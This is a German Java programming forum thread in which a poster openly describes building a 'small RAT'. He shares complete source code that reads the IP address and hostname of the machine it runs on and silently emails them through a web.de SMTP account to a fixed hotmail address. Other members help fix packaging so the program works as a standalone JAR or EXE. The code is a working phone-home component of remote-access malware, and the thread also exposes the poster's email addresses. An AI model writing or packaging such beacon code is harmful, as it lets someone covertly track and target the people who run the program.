![]() |
|
|
Themen-Optionen |
|
|
Nach oben #1 |
|
Gast
Beiträge: n/a
|
Hi, also ich versuche eigentlich einen Server zu programmieren zur Zeit.
Es soll ein kleines RAT werden. (Applikation) Meine Lage sieht so aus: Ich habe 2 Files: File [1] Hier wird die IP und der Hostname der Maschine ausgelesen auf welcher der Server gestartet wurde. File [2] Hier sollen die ausgelesenen Daten per eMail verschickt werden. Das ganze funktioniert auch wenn ich das Programm im JBuilder 10 Enterprise ausführe. Sobald ich aber eine EXE mit dem Wizard erstelle oder eine JAR File geht das ganze nicht mehr. Die IP und der Host werden zwar ausgelesen aber die Mail verschickt er nicht. Muss ich etwas spezielles noch in die File einbinden ? Und wenn ja, dann wie ? Screenshot: http://img112.exs.cx/img112/3707/error3tg.jpg Ich bin neu und hoffe hier Hilfe zu finden. Freue mich schon auf eure Antworten. MfG sCythe |
|
|
|
Nach oben #2 |
|
Erfahrener Benutzer
Registriert seit: 29.05.2004
Beiträge: 228
|
Du musst wohl noch etwas zusätzlich mitliefern. Scheinbar benutzt du die Klasse javax.activation.DataSource die offenbar in der normalen JRE nicht dazugehört (aber eventuell bei j2ee oder so).
Ich denke mal du hast (oder das war schon so) in der IDE eingestellt dass der die Klassen findet und wenn du das jetzt verpackst und sonst startest sind die Dinger halt nicht im CLASSPATH und werden ergo nicht gesucht. MfG Peschmä
__________________
Amazon.de | The Java Trap | Freie Software | Freie Software vs. Open Source | GNU Classpath | GCJ | SableVM "We should forget about small efficiencies, say about 97% of the time: Premature optimization is the root of all evil." - Donald Knuth |
|
|
|
|
|
Nach oben #4 |
|
Erfahrener Benutzer
Registriert seit: 29.05.2004
Beiträge: 228
|
Guck mal in den JBuilder-Einstellungen ob du da irgendwelche zusätzlichen Jars eingebunden hast die du dann halt mitliefern müsstest.
MfG Peschmä
__________________
Amazon.de | The Java Trap | Freie Software | Freie Software vs. Open Source | GNU Classpath | GCJ | SableVM "We should forget about small efficiencies, say about 97% of the time: Premature optimization is the root of all evil." - Donald Knuth |
|
|
|
|
|
Nach oben #5 |
|
Gast
Beiträge: n/a
|
Ja habe ich, mail.jar und so glaube ich.
Im Projekt sind die alle drinnen aber in die exe packt er die nicht hinein Edit: Wenn ich die mail.jar und activation.jar und tools.jar in die Exe einbinde dann bekomme ich das hier: http://img164.exs.cx/img164/1193/error2gr.jpg |
|
|
|
Nach oben #6 |
|
Erfahrener Benutzer
Registriert seit: 29.05.2004
Beiträge: 228
|
Tönt so als hättest du beim erstellen der Exe nicht angegeben was denn nun die Hauptklasse - also diejenige mit der Main-Methode, die ausgeführt werden soll, ist.
Aber soo genau kann ich das auch nicht sagen wie du das machen musst - habe JBuilder noch nie genutzt MfG Peschmä
__________________
Amazon.de | The Java Trap | Freie Software | Freie Software vs. Open Source | GNU Classpath | GCJ | SableVM "We should forget about small efficiencies, say about 97% of the time: Premature optimization is the root of all evil." - Donald Knuth |
|
|
|
|
|
Nach oben #7 |
|
Gast
Beiträge: n/a
|
Hi gib mir doch bitte deine ICQ MSN oder SKYPE.
Ich habe die Classe angegeben in welcher sich die Main-Methode befindet, dass ist es ja was mich auch seit 2 Tagen verwirrt. EDIT: Ich poste mal die 3 Files und hoffe das jemand mir sagen kann welche Files ich genau einbinden muss damit ich eine funktionierende jar / exe bekomme. GetIP.java Code:
import java.io.*;
import java.net.*;
public class GetIP
{
String ipaddr, hostname;
public GetIP() // Konstruktor
{
try
{
InetAddress localaddr = InetAddress.getLocalHost();
ipaddr = "Local IP Address : " + localaddr.getHostAddress() + "\n";
hostname = "Local hostname : " + localaddr.getHostName() + "\n";
System.err.println(ipaddr + hostname);
}
catch (UnknownHostException e)
{
System.err.println("Can't detect localhost : " + e);
}
}
}
Code:
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.mail.*;
import javax.mail.internet.*;
import java.util.*;
import java.io.*;
public class SendMail
{
private static final String SMTP_HOST_NAME = "smtp.web.de";
private static final String SMTP_AUTH_USER = "sCythe2k@web.de";
private static final String SMTP_AUTH_PWD = "****"; // password
// public static String emailMsgTxt = "xxxx";
private static final String emailSubjectTxt = "IP Address + Hostname";
private static final String emailFromAddress = "sCythe2k@web.de";
// Add List of Email address to who email needs to be sent to
private static final String[] emailList =
{
"sCythe2k@hotmail.com"};
public void doIT() throws Exception
{
GetIP ip = new GetIP(); // get IP + Host
SendMail smtpMailSender = new
SendMail();
// Send IP + Host
smtpMailSender.postMail(emailList, emailSubjectTxt, ip.ipaddr + ip.hostname,
emailFromAddress);
System.out.println("Sucessfully Sent mail to All Users");
}
public void postMail(String recipients[], String subject,
String message, String from) throws MessagingException
{
boolean debug = false;
//Set the host smtp address
Properties props = new Properties();
props.put("mail.smtp.host", SMTP_HOST_NAME);
props.put("mail.smtp.auth", "true");
Authenticator auth = new SMTPAuthenticator();
Session session = Session.getDefaultInstance(props, auth);
session.setDebug(debug);
// create a message
Message msg = new MimeMessage(session);
// set the from and to address
InternetAddress addressFrom = new InternetAddress(from);
msg.setFrom(addressFrom);
InternetAddress[] addressTo = new InternetAddress[recipients.length];
for (int i = 0; i < recipients.length; i++)
{
addressTo[i] = new InternetAddress(recipients[i]);
}
msg.setRecipients(Message.RecipientType.TO, addressTo);
// Setting the Subject and Content Type
msg.setSubject(subject);
msg.setContent(message, "text/plain");
Transport.send(msg);
}
/**
* SimpleAuthenticator is used to do simple authentication
* when the SMTP server requires it.
*/
private class SMTPAuthenticator
extends javax.mail.Authenticator
{
public PasswordAuthentication getPasswordAuthentication()
{
String username = SMTP_AUTH_USER;
String password = SMTP_AUTH_PWD;
return new PasswordAuthentication(username, password);
}
}
}
Code:
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.mail.*;
import javax.mail.internet.*;
import java.util.*;
import java.io.*;
public class Main
{
public Main() throws Exception
{
sendInfo();
}
private void sendInfo() throws Exception
{
SendMail y = new SendMail();
y.doIT();
}
public static void main(String args[]) throws Exception
{
Main m = new Main();
}
}
|
|
![]() |
| Lesezeichen |
| Aktive Benutzer in diesem Thema: 1 (Registrierte Benutzer: 0, Gäste: 1) | |
| Themen-Optionen | |
|
|
Ähnliche Themen
|
||||
| Thema | Autor | Forum | Antworten | Letzter Beitrag |
| Formular per E-Mail versenden | kampfgnom | PHP-Programmierung | 1 | 01.11.2006 21:41 |
| Email versenden funktioniert nicht | andrassberlin | PHP-Programmierung | 12 | 03.02.2006 15:32 |
| Mails empfangen / versenden "Access to default session denied" | Robinson | Allgemeine Java-Programmierung | 0 | 14.12.2005 15:11 |
| 20 GMail Accounts zu versenden | Jay | Plauderecke | 2 | 30.10.2005 11:39 |